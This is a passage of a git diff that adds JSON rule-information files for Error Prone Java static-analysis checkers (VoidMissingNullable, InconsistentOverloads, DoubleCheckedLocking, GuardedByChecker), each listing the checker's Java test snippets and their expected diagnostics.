"boundedTypeVar_validLowerBound_isIgnored", + "expected-problems": null, + "expected-linenumbers": [ + 608 + ], + "code": "import java.util.List;\n\n interface MyIterable> {\n static class Test> implements MyIterable {\n MyIterable parent;\n\n public Test() {\n this.parent = null;\n }\n }\n }" + }, + { + "description": "boundedTypeVar_questionableLowerBound_isCompilerError", + "expected-problems": null, + "expected-linenumbers": [ + 629 + ], + "code": "import java.util.List;\n\n interface MyIterable> {\n // BUG: Diagnostic matches: X\n static class Test> implements MyIterable {\n MyIterable parent;\n\n public Test() {\n this.parent = null;\n }\n }\n }" + }, + { + "description": "fBoundedImplicitUpperBound_validLowerBound_isIgnored", + "expected-problems": null, + "expected-linenumbers": [ + 661 + ], + "code": "abstract class FBounded> {\n public static final class Coll extends FBounded> {}\n\n public interface Listener> {}\n\n public static void shouldWork() {\n Listener> validListener = null;\n // BUG: Diagnostic contains: Cast to wildcard type unsafe\n Listener invalidListener = null;\n // BUG: Diagnostic contains: Cast to wildcard type unsafe\n Iterable> invalidListeners = java.util.List.of(null, null);\n }\n }" + }, + { + "description": "fBoundedImplicitUpperBound_invalidLowerBound_isCompilerError", + "expected-problems": null, + "expected-linenumbers": [ + 684 + ], + "code": "abstract class FBounded> {\n public static final class Coll extends FBounded> {}\n\n public interface Listener> {}\n\n public static void shouldWork() {\n // BUG: Diagnostic matches: X\n Listener listener = null;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/VoidMissingNullable.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/VoidMissingNullable.json new file mode 100644 index 0000000..11e5884 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/VoidMissingNullable.json @@ -0,0 +1,158 @@ +{ + "name": "VoidMissingNullable", + "language": "java", + "description": "The type Void is not annotated @Nullable", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 189, + "branches": 32, + "apis": 8, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 39 + ], + "code": "import javax.annotation.Nullable;\n\n class Test {\n // BUG: Diagnostic contains: @Nullable\n Void v;\n\n // BUG: Diagnostic contains: @Nullable\n Void f() {\n return v;\n }\n }" + }, + { + "description": "declarationAnnotatedLocation", + "expected-problems": null, + "expected-linenumbers": [ + 60 + ], + "code": "import javax.annotation.Nullable;\n\n abstract class Foo {\n java.lang.Void v;\n\n final Void f() {\n return v;\n }\n }\n \n\n import javax.annotation.Nullable;\n\n abstract class Foo {\n @Nullable java.lang.Void v;\n\n @Nullable\n final Void f() {\n return v;\n }\n }" + }, + { + "description": "typeAnnotatedLocation", + "expected-problems": null, + "expected-linenumbers": [ + 93 + ], + "code": "import org.checkerframework.checker.nullness.qual.Nullable;\n\n abstract class Foo {\n java.lang.Void v;\n\n final Void f() {\n return v;\n }\n }\n \n\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n abstract class Foo {\n java.lang.@Nullable Void v;\n\n final @Nullable Void f() {\n return v;\n }\n }" + }, + { + "description": "negativeAlreadyAnnotated", + "expected-problems": null, + "expected-linenumbers": [ + 125 + ], + "code": "import javax.annotation.Nullable;\n\n class Test {\n @Nullable Void v;\n\n @Nullable\n Void f() {\n return v;\n }\n }" + }, + { + "description": "negativeNotVoid", + "expected-problems": null, + "expected-linenumbers": [ + 145 + ], + "code": "import javax.annotation.Nullable;\n\n class Test {\n String s;\n\n String f() {\n return s;\n }\n }" + }, + { + "description": "positiveTypeArgument", + "expected-problems": null, + "expected-linenumbers": [ + 164 + ], + "code": "import java.util.List;\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n class Test {\n // BUG: Diagnostic contains: @Nullable\n List a;\n // BUG: Diagnostic contains: @Nullable\n List b;\n // BUG: Diagnostic contains: @Nullable\n List c;\n List d;\n }" + }, + { + "description": "positiveTypeArgumentOtherAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 186 + ], + "code": "import java.lang.annotation.ElementType;\n import java.lang.annotation.Retention;\n import java.lang.annotation.RetentionPolicy;\n import java.lang.annotation.Target;\n\n @Retention(RetentionPolicy.RUNTIME)\n @Target(ElementType.TYPE_USE)\n public @interface NonNull {}\n \n\n import java.util.List;\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n class Test {\n // BUG: Diagnostic contains: @Nullable\n List<@NonNull Void> a;\n // BUG: Diagnostic contains: @Nullable\n List b;\n // BUG: Diagnostic contains: @Nullable\n List c;\n List d;\n }" + }, + { + "description": "negativeTypeArgumentAlreadyAnnotated", + "expected-problems": null, + "expected-linenumbers": [ + 220 + ], + "code": "import java.lang.annotation.ElementType;\n import java.lang.annotation.Retention;\n import java.lang.annotation.RetentionPolicy;\n import java.lang.annotation.Target;\n\n @Retention(RetentionPolicy.RUNTIME)\n @Target(ElementType.TYPE_USE)\n public @interface Nullable {}\n \n\n import java.util.List;\n\n class Test {\n List<@Nullable Void> a;\n List b;\n List c;\n List d;\n }" + }, + { + "description": "negativeTypeArgumentAlreadyAnnotatedAnonymous", + "expected-problems": null, + "expected-linenumbers": [ + 250 + ], + "code": "import java.lang.annotation.ElementType;\n import java.lang.annotation.Retention;\n import java.lang.annotation.RetentionPolicy;\n import java.lang.annotation.Target;\n\n @Retention(RetentionPolicy.RUNTIME)\n @Target(ElementType.TYPE_USE)\n public @interface Nullable {}\n \n\n class Test {\n static {\n new Bystander<@Nullable Void>() {};\n }\n }" + }, + { + "description": "negativeTypeArgumentNotVoid", + "expected-problems": null, + "expected-linenumbers": [ + 278 + ], + "code": "import java.lang.annotation.ElementType;\n import java.lang.annotation.Retention;\n import java.lang.annotation.RetentionPolicy;\n import java.lang.annotation.Target;\n\n @Retention(RetentionPolicy.RUNTIME)\n @Target(ElementType.TYPE_USE)\n public @interface Nullable {}\n \n\n import java.util.List;\n\n class Test {\n List a;\n List b;\n List c;\n List d;\n }" + }, + { + "description": "negativeTypeArgumentDeclarationNullable", + "expected-problems": null, + "expected-linenumbers": [ + 308 + ], + "code": "import java.util.List;\n import javax.annotation.Nullable;\n\n class Test {\n List a;\n List b;\n List c;\n List d;\n }" + }, + { + "description": "positiveLambdaParameter", + "expected-problems": null, + "expected-linenumbers": [ + 327 + ], + "code": "import javax.annotation.Nullable;\n\n interface Test {\n void consume(@Nullable Void v);\n\n // BUG: Diagnostic contains: @Nullable\n Test TEST = (Void v) -> {};\n }" + }, + { + "description": "negativeLambdaParameterNoType", + "expected-problems": null, + "expected-linenumbers": [ + 345 + ], + "code": "import javax.annotation.Nullable;\n\n interface Test {\n void consume(@Nullable Void v);\n\n Test TEST = v -> {};\n }" + }, + { + "description": "negativeGenericLambdaParameterNoType", + "expected-problems": null, + "expected-linenumbers": [ + 362 + ], + "code": "import org.jspecify.annotations.Nullable;\n\n interface Test {\n void consume(Iterable<@Nullable Void> it);\n\n Test TEST = it -> {};\n }" + }, + { + "description": "negativeVar", + "expected-problems": null, + "expected-linenumbers": [ + 381 + ], + "code": "import javax.annotation.Nullable;\n\n class Test {\n @Nullable Void v;\n\n void f() {\n var v = this.v;\n }\n }" + }, + { + "description": "negativeOtherLocalVariable", + "expected-problems": null, + "expected-linenumbers": [ + 400 + ], + "code": "import javax.annotation.Nullable;\n\n class Test {\n @Nullable Void v;\n\n void f() {\n Void v = this.v;\n }\n }" + }, + { + "description": "positiveConservativeNullMarked", + "expected-problems": null, + "expected-linenumbers": [ + 419 + ], + "code": "import javax.annotation.Nullable;\n import org.jspecify.annotations.NullMarked;\n\n @NullMarked\n class Test {\n // BUG: Diagnostic contains: @Nullable\n Void v;\n }" + }, + { + "description": "negativeConservativeNotNullMarked", + "expected-problems": null, + "expected-linenumbers": [ + 437 + ], + "code": "import javax.annotation.Nullable;\n\n class Test {\n Void v;\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/overloading/InconsistentOverloads.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/overloading/InconsistentOverloads.json new file mode 100644 index 0000000..30d4c72 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/overloading/InconsistentOverloads.json @@ -0,0 +1,86 @@ +{ + "name": "InconsistentOverloads", + "language": "java", + "description": "The ordering of parameters in overloaded methods should be as consistent as possible (when viewed from left to right)", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 145, + "branches": 9, + "apis": 2, + "test": [ + { + "description": "inconsistentOverloadsNegativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "package com.google.errorprone.bugpatterns.overloading.testdata;\n\n public final class InconsistentOverloadsNegativeCases {\n\n public void foo(Object object) {}\n\n public void foo(Object object, int x, int y) {}\n\n public void foo(Object object, int x, int y, String string) {}\n\n public void bar(int x, int y, int z) {}\n\n public void bar(int x) {}\n\n public void bar(int x, int y) {}\n\n public void baz(String string) {}\n\n public void baz(int x, int y, String otherString) {}\n\n public void baz(int x, int y, String otherString, Object object) {}\n\n public void quux(int x, int y, int z) {}\n\n public void quux(int x, int y, String string) {}\n\n public void norf(int x, int y) {}\n\n public void norf(Object object, String string) {}\n }\\" + }, + { + "description": "inconsistentOverloadsPositiveCasesAnnotations", + "expected-problems": null, + "expected-linenumbers": [ + 74 + ], + "code": "package com.google.errorprone.bugpatterns.overloading.testdata;\n\n import org.jspecify.annotations.Nullable;\n\n public abstract class InconsistentOverloadsPositiveCasesAnnotations {\n\n @interface Bar {}\n\n @interface Baz {}\n\n // BUG: Diagnostic contains: foo(String x, String y, Object z)\n abstract void foo(@Nullable Object z, String y, @Nullable String x);\n\n abstract void foo(@Nullable String x);\n\n // BUG: Diagnostic contains: foo(String x, String y)\n abstract void foo(String y, @Nullable String x);\n\n // BUG: Diagnostic contains: quux(Object object, String string)\n int quux(String string, @Bar @Baz Object object) {\n return string.hashCode() + quux(object);\n }\n\n int quux(@Bar @Baz Object object) {\n return object.hashCode();\n }\n\n // BUG: Diagnostic contains: quux(Object object, String string, int x, int y)\n abstract int quux(String string, int x, int y, @Bar @Baz Object object);\n\n abstract int norf(@Bar @Baz String string);\n\n // BUG: Diagnostic contains: norf(String string, Object object)\n abstract int norf(Object object, @Baz @Bar String string);\n }\\" + }, + { + "description": "inconsistentOverloadsPositiveCasesGeneral", + "expected-problems": null, + "expected-linenumbers": [ + 119 + ], + "code": "package com.google.errorprone.bugpatterns.overloading.testdata;\n\n public final class InconsistentOverloadsPositiveCasesGeneral {\n\n public void foo(Object object) {}\n\n // BUG: Diagnostic contains: foo(Object object, int i)\n public void foo(int i, Object object) {}\n\n // BUG: Diagnostic contains: foo(Object object, int i, String string)\n public void foo(String string, Object object, int i) {}\n\n // BUG: Diagnostic contains: bar(int i, int j, String x, String y, Object object)\n public void bar(Object object, String x, String y, int i, int j) {}\n\n public void bar(int i, int j) {}\n\n // BUG: Diagnostic contains: bar(int i, int j, String x, String y)\n public void bar(String x, String y, int i, int j) {}\n\n public void baz(int i, int j) {}\n\n public void baz(Object object) {}\n\n // BUG: Diagnostic contains: baz(int i, int j, String x, Object object)\n public void baz(String x, int i, int j, Object object) {}\n\n public void quux(int x, int y, String string) {}\n\n // BUG: Diagnostic contains: quux(int x, int y, Object object)\n public void quux(Object object, int y, int x) {}\n }\\" + }, + { + "description": "inconsistentOverloadsPositiveCasesGenerics", + "expected-problems": null, + "expected-linenumbers": [ + 161 + ], + "code": "package com.google.errorprone.bugpatterns.overloading.testdata;\n\nimport java.util.List;\n\npublic final class InconsistentOverloadsPositiveCasesGenerics {\n\n // BUG: Diagnostic contains: foo(List numbers, List> nestedNumbers)\n public void foo(List> nestedNumbers, List numbers) {}\n\n public void foo(List numbers) {}\n\n // BUG: Diagnostic contains: foo(Iterable numbers, String description)\n public void foo(String description, Iterable numbers) {}\n\n public void bar(int x) {}\n\n // BUG: Diagnostic contains: bar(int x, List> strings)\n public void bar(List> strings, int x) {}\n}\\" + }, + { + "description": "inconsistentOverloadsPositiveCasesInterleaved", + "expected-problems": null, + "expected-linenumbers": [ + 190 + ], + "code": "package com.google.errorprone.bugpatterns.overloading.testdata;\n\n public final class InconsistentOverloadsPositiveCasesInterleaved {\n\n // BUG: Diagnostic contains: baz(int x, String string, int y)\n public void baz(int y, int x, String string) {}\n\n // BUG: Diagnostic contains: foo(int x, int y, int z, String string)\n public void foo(int x, int z, int y, String string) {}\n\n public void foo(int x, int y) {}\n\n public void bar(String string, Object object) {}\n\n // BUG: Diagnostic contains: baz(int x, String string)\n public void baz(String string, int x) {}\n\n // BUG: Diagnostic contains: foo(int x, int y, int z)\n public void foo(int z, int x, int y) {}\n\n // BUG: Diagnostic contains: bar(String string, Object object, int x, int y)\n public void bar(int x, int y, String string, Object object) {}\n\n public void baz(int x) {}\n }\\" + }, + { + "description": "inconsistentOverloadsPositiveCasesSimple", + "expected-problems": null, + "expected-linenumbers": [ + 225 + ], + "code": "package com.google.errorprone.bugpatterns.overloading.testdata;\n\n public final class InconsistentOverloadsPositiveCasesSimple {\n\n public void foo(Object object) {}\n\n // BUG: Diagnostic contains: foo(Object object, int x, int y)\n public void foo(int x, int y, Object object) {}\n\n // BUG: Diagnostic contains: foo(Object object, int x, int y, String string)\n public void foo(String string, int y, Object object, int x) {}\n }\\" + }, + { + "description": "inconsistentOverloadsPositiveCasesVarargs", + "expected-problems": null, + "expected-linenumbers": [ + 247 + ], + "code": "package com.google.errorprone.bugpatterns.overloading.testdata;\n\n public abstract class InconsistentOverloadsPositiveCasesVarargs {\n\n public void foo(String... rest) {}\n\n public void foo(int x, String... rest) {}\n\n // BUG: Diagnostic contains: foo(int x, int y, String... rest)\n public void foo(int y, int x, String... rest) {}\n\n abstract void bar(float x, float y);\n\n // BUG: Diagnostic contains: bar(float x, float y, float z, Object... rest)\n abstract void bar(float z, float y, float x, Object... rest);\n\n // BUG: Diagnostic contains: bar(float x, float y, float z, String string)\n abstract void bar(float y, String string, float x, float z);\n\n abstract void bar(Object... rest);\n }\\" + }, + { + "description": "inconsistentOverloadsOverrides", + "expected-problems": null, + "expected-linenumbers": [ + 278 + ], + "code": "package com.google.errorprone.bugpatterns.overloading.testdata;\n\nimport java.util.List;\nimport java.util.Map;\n\npublic class InconsistentOverloadsPositiveCasesOverrides {\n\n class SuperClass {\n\n void someMethod(String foo, int bar) {}\n\n // BUG: Diagnostic contains: someMethod(String foo, int bar, List baz)\n void someMethod(int bar, String foo, List baz) {}\n }\n\n class SubClass extends SuperClass {\n\n @Override // no bug\n void someMethod(String foo, int bar) {}\n\n @Override // no bug\n void someMethod(int bar, String foo, List baz) {}\n\n // BUG: Diagnostic contains: someMethod(String foo, int bar, List baz, Map fizz)\n void someMethod(int bar, String foo, List baz, Map fizz) {}\n }\n}\\" + }, + { + "description": "suppressOnMethod", + "expected-problems": null, + "expected-linenumbers": [ + 316 + ], + "code": "class Test {\n public void foo(Object object) {}\n\n @SuppressWarnings(\"InconsistentOverloads\")\n public void foo(int i, Object object) {}\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/DoubleCheckedLocking.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/DoubleCheckedLocking.json new file mode 100644 index 0000000..0862e5a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/DoubleCheckedLocking.json @@ -0,0 +1,70 @@ +{ + "name": "DoubleCheckedLocking", + "language": "java", + "description": "Double-checked locking on non-volatile fields is unsafe", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 287, + "branches": 49, + "apis": 6, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "package threadsafety;\n\n class Test {\n public Object x;\n\n void m() {\n // BUG: Diagnostic contains: public volatile Object x\n if (x == null) {\n synchronized (this) {\n if (x == null) {\n x = new Object();\n }\n }\n }\n }\n }" + }, + { + "description": "positiveNoFix", + "expected-problems": null, + "expected-linenumbers": [ + 56 + ], + "code": "package threadsafety;\n\n class Test {\n static class Inner {\n static Object x;\n }\n\n void m() {\n // BUG: Diagnostic contains:\n if (Inner.x == null) {\n synchronized (this) {\n if (Inner.x == null) {\n Inner.x = new Object();\n }\n }\n }\n }\n }" + }, + { + "description": "positiveTmpVar", + "expected-problems": null, + "expected-linenumbers": [ + 84 + ], + "code": "package threadsafety;\n\n class Test {\n Object x;\n\n void m() {\n Object z = x;\n // BUG: Diagnostic contains: volatile Object\n if (z == null) {\n synchronized (this) {\n z = x;\n if (z == null) {\n x = z = new Object();\n }\n }\n }\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 112 + ], + "code": "package threadsafety;\n\n class Test {\n volatile Object x;\n\n void m() {\n if (x == null) {\n synchronized (this) {\n if (x == null) {\n x = new Object();\n }\n }\n }\n }\n }" + }, + { + "description": "immutable_integer", + "expected-problems": null, + "expected-linenumbers": [ + 137 + ], + "code": "package threadsafety;\n\n class Test {\n public Integer x;\n\n void m() {\n if (x == null) {\n synchronized (this) {\n if (x == null) {\n x = 1;\n }\n }\n }\n }\n }" + }, + { + "description": "immutable_string", + "expected-problems": null, + "expected-linenumbers": [ + 162 + ], + "code": "package threadsafety;\n\n class Test {\n public String x;\n\n void m() {\n if (x == null) {\n synchronized (this) {\n if (x == null) {\n x = \"\";\n }\n }\n }\n }\n }" + }, + { + "description": "b37896333", + "expected-problems": null, + "expected-linenumbers": [ + 187 + ], + "code": "class Test {\n public String x;\n\n String m() {\n String result = x;\n if (result == null) {\n synchronized (this) {\n if (result == null) {\n x = result = \"\";\n }\n }\n }\n return result;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/GuardedByChecker.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/GuardedByChecker.json new file mode 100644 index 0000000..a648a88 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/GuardedByChecker.json @@ -0,0 +1,662 @@ +{ + "name": "GuardedByChecker", + "language": "java", + "description": "Checks for unguarded accesses to fields and methods with @GuardedBy annotations", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 210, + "branches": 29, + "apis": 7, + "test": [ + { + "description": "locked", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n import java.util.concurrent.locks.Lock;\n\n class Test {\n final Lock lock = null;\n\n @GuardedBy(\"lock\")\n int x;\n\n void m() {\n lock.lock();\n // BUG: Diagnostic contains:\n // access should be guarded by 'this.lock'\n x++;\n try {\n x++;\n } catch (Exception e) {\n x--;\n } finally {\n lock.unlock();\n }\n // BUG: Diagnostic contains:\n // access should be guarded by 'this.lock'\n x++;\n }\n }" + }, + { + "description": "staticLocked", + "expected-problems": null, + "expected-linenumbers": [ + 71 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n import java.util.concurrent.locks.Lock;\n\n class Test {\n @GuardedBy(\"Test.class\")\n static int x;\n\n static synchronized void m() {\n x++;\n }\n }" + }, + { + "description": "monitor", + "expected-problems": null, + "expected-linenumbers": [ + 94 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n import com.google.common.util.concurrent.Monitor;\n\n class Test {\n final Monitor monitor = null;\n\n @GuardedBy(\"monitor\")\n int x;\n\n void m() {\n monitor.enter();\n // BUG: Diagnostic contains:\n // access should be guarded by 'this.monitor'\n x++;\n try {\n x++;\n } finally {\n monitor.leave();\n }\n // BUG: Diagnostic contains:\n // access should be guarded by 'this.monitor'\n x++;\n }\n }" + }, + { + "description": "wrongLock", + "expected-problems": null, + "expected-linenumbers": [ + 130 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n import java.util.concurrent.locks.Lock;\n\n class Test {\n final Lock lock1 = null;\n final Lock lock2 = null;\n\n @GuardedBy(\"lock1\")\n int x;\n\n void m() {\n lock2.lock();\n try {\n // BUG: Diagnostic contains:\n // access should be guarded by 'this.lock1'\n x++;\n } finally {\n lock2.unlock();\n }\n }\n }" + }, + { + "description": "guardedStaticFieldAccess_1", + "expected-problems": null, + "expected-linenumbers": [ + 163 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class Test {\n public static final Object lock = new Object();\n\n @GuardedBy(\"lock\")\n public static int x;\n\n void m() {\n synchronized (Test.lock) {\n Test.x++;\n }\n }\n }" + }, + { + "description": "guardedStaticFieldAccess_2", + "expected-problems": null, + "expected-linenumbers": [ + 189 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class Test {\n public static final Object lock = new Object();\n\n @GuardedBy(\"lock\")\n public static int x;\n\n void m() {\n synchronized (lock) {\n Test.x++;\n }\n }\n }" + }, + { + "description": "guardedStaticFieldAccess_3", + "expected-problems": null, + "expected-linenumbers": [ + 215 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class Test {\n public static final Object lock = new Object();\n\n @GuardedBy(\"lock\")\n public static int x;\n\n void m() {\n synchronized (Test.lock) {\n x++;\n }\n }\n }" + }, + { + "description": "guardedStaticFieldAccess_enclosingClass", + "expected-problems": null, + "expected-linenumbers": [ + 241 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class Test {\n @GuardedBy(\"Test.class\")\n public static int x;\n\n static synchronized void n() {\n Test.x++;\n }\n }" + }, + { + "description": "badStaticFieldAccess", + "expected-problems": null, + "expected-linenumbers": [ + 263 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class Test {\n public static final Object lock = new Object();\n\n @GuardedBy(\"lock\")\n public static int x;\n\n void m() {\n // BUG: Diagnostic contains:\n // access should be guarded by 'Test.lock'\n Test.x++;\n }\n }" + }, + { + "description": "badGuard", + "expected-problems": null, + "expected-linenumbers": [ + 289 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class Test {\n @GuardedBy(\"foo\")\n // BUG: Diagnostic contains: Invalid @GuardedBy expression\n int y;\n }" + }, + { + "description": "unheldInstanceGuard", + "expected-problems": null, + "expected-linenumbers": [ + 331 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class Test {\n final Object mu = new Object();\n\n @GuardedBy(\"mu\")\n int y;\n }\n\n class Main {\n void m(Test t) {\n // BUG: Diagnostic contains:\n // should be guarded by 't.mu'\n t.y++;\n }\n }" + }, + { + "description": "unheldInstanceGuard", + "expected-problems": null, + "expected-linenumbers": [ + 331 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class Test {\n final Object mu = new Object();\n\n @GuardedBy(\"mu\")\n int y;\n }\n\n class Main {\n void m(Test t) {\n // BUG: Diagnostic contains:\n // should be guarded by 't.mu'\n t.y++;\n }\n }" + }, + { + "description": "unheldInstanceGuard", + "expected-problems": null, + "expected-linenumbers": [ + 331 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class Test {\n final Object mu = new Object();\n\n @GuardedBy(\"mu\")\n int y;\n }\n\n class Main {\n void m(Test t) {\n // BUG: Diagnostic contains:\n // should be guarded by 't.mu'\n t.y++;\n }\n }" + }, + { + "description": "unheldItselfGuard", + "expected-problems": null, + "expected-linenumbers": [ + 359 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class Itself {\n @GuardedBy(\"itself\")\n int x;\n\n void incrementX() {\n // BUG: Diagnostic contains:\n // should be guarded by 'this.x'\n x++;\n }\n }" + }, + { + "description": "i541", + "expected-problems": null, + "expected-linenumbers": [ + 383 + ], + "code": "package threadsafety;\n\n import java.util.List;\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class Itself {\n @GuardedBy(\"itself\")\n List xs;\n\n void f() {\n // BUG: Diagnostic contains:\n // should be guarded by 'this.xs'\n this.xs.add(\"\");\n synchronized (this.xs) {\n this.xs.add(\"\");\n }\n synchronized (this.xs) {\n xs.add(\"\");\n }\n synchronized (xs) {\n this.xs.add(\"\");\n }\n synchronized (xs) {\n xs.add(\"\");\n }\n }\n }" + }, + { + "description": "methodQualifiedWithThis", + "expected-problems": null, + "expected-linenumbers": [ + 420 + ], + "code": "package threadsafety;\n\n import java.util.List;\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class Itself {\n @GuardedBy(\"this\")\n void f() {}\n ;\n\n void g() {\n // BUG: Diagnostic contains:\n // should be guarded by 'this'\n this.f();\n synchronized (this) {\n f();\n }\n synchronized (this) {\n this.f();\n }\n }\n }" + }, + { + "description": "ctor", + "expected-problems": null, + "expected-linenumbers": [ + 452 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class Test {\n @GuardedBy(\"this\")\n int x;\n\n public Test() {\n this.x = 42;\n }\n }" + }, + { + "description": "badGuardMethodAccess", + "expected-problems": null, + "expected-linenumbers": [ + 474 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class Test {\n @GuardedBy(\"this\")\n void x() {}\n\n void m() {\n // BUG: Diagnostic contains: this\n x();\n }\n }" + }, + { + "description": "transitiveGuardMethodAccess", + "expected-problems": null, + "expected-linenumbers": [ + 497 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class Test {\n @GuardedBy(\"this\")\n void x() {}\n\n @GuardedBy(\"this\")\n void m() {\n x();\n }\n }" + }, + { + "description": "readWriteLockCopy", + "expected-problems": null, + "expected-linenumbers": [ + 521 + ], + "code": "" + }, + { + "description": "readWriteLock", + "expected-problems": null, + "expected-linenumbers": [ + 555 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n import java.util.concurrent.locks.ReentrantReadWriteLock;\n\n class Test {\n final ReentrantReadWriteLock lock = new ReentrantReadWriteLock();\n\n @GuardedBy(\"lock\")\n boolean b = false;\n\n void m() {\n lock.readLock().lock();\n try {\n b = true;\n } finally {\n lock.readLock().unlock();\n }\n }\n\n void n() {\n lock.writeLock().lock();\n try {\n b = true;\n } finally {\n lock.writeLock().unlock();\n }\n }\n }" + }, + { + "description": "readWriteLockIsIgnored", + "expected-problems": null, + "expected-linenumbers": [ + 595 + ], + "code": "package threadsafety.Test;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n import java.util.concurrent.locks.ReentrantReadWriteLock;\n\n class Test {\n final ReentrantReadWriteLock lock = new ReentrantReadWriteLock();\n\n @GuardedBy(\"lock\")\n boolean b = false;\n\n void m() {\n try {\n b = true;\n } finally {\n }\n }\n }" + }, + { + "description": "innerClass_enclosingClassLock", + "expected-problems": null, + "expected-linenumbers": [ + 623 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n public class Test {\n final Object mu = new Object();\n\n @GuardedBy(\"mu\")\n boolean b = false;\n\n private final class Baz {\n public void m() {\n synchronized (mu) {\n n();\n }\n }\n\n @GuardedBy(\"Test.this.mu\")\n private void n() {\n b = true;\n }\n }\n }" + }, + { + "description": "innerClass_thisLock", + "expected-problems": null, + "expected-linenumbers": [ + 657 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n public class Test {\n @GuardedBy(\"this\")\n boolean b = false;\n\n private final class Baz {\n private synchronized void n() {\n // BUG: Diagnostic contains:\n // should be guarded by 'Test.this'\n b = true;\n }\n }\n }" + }, + { + "description": "anonymousClass", + "expected-problems": null, + "expected-linenumbers": [ + 683 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n public class Test {\n @GuardedBy(\"this\")\n boolean b = false;\n\n private synchronized void n() {\n b = true;\n new Object() {\n void m() {\n // BUG: Diagnostic contains:\n // should be guarded by 'Test.this'\n b = true;\n }\n };\n }\n }" + }, + { + "description": "inheritedLock", + "expected-problems": null, + "expected-linenumbers": [ + 712 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class A {\n final Object lock = new Object();\n }\n\n class B extends A {\n @GuardedBy(\"lock\")\n boolean b = false;\n\n void m() {\n synchronized (lock) {\n b = true;\n }\n ;\n }\n }" + }, + { + "description": "enclosingSuperAccess", + "expected-problems": null, + "expected-linenumbers": [ + 741 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class A {\n final Object lock = new Object();\n\n @GuardedBy(\"lock\")\n boolean flag = false;\n }\n\n class B extends A {\n void m() {\n new Object() {\n @GuardedBy(\"lock\")\n void n() {\n flag = true;\n }\n };\n }\n }" + }, + { + "description": "superAccess_this", + "expected-problems": null, + "expected-linenumbers": [ + 772 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class A {\n final Object lock = new Object();\n\n @GuardedBy(\"this\")\n boolean flag = false;\n }\n\n class B extends A {\n synchronized void m() {\n flag = true;\n }\n }" + }, + { + "description": "superAccess_lock", + "expected-problems": null, + "expected-linenumbers": [ + 798 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class A {\n final Object lock = new Object();\n\n @GuardedBy(\"lock\")\n boolean flag = 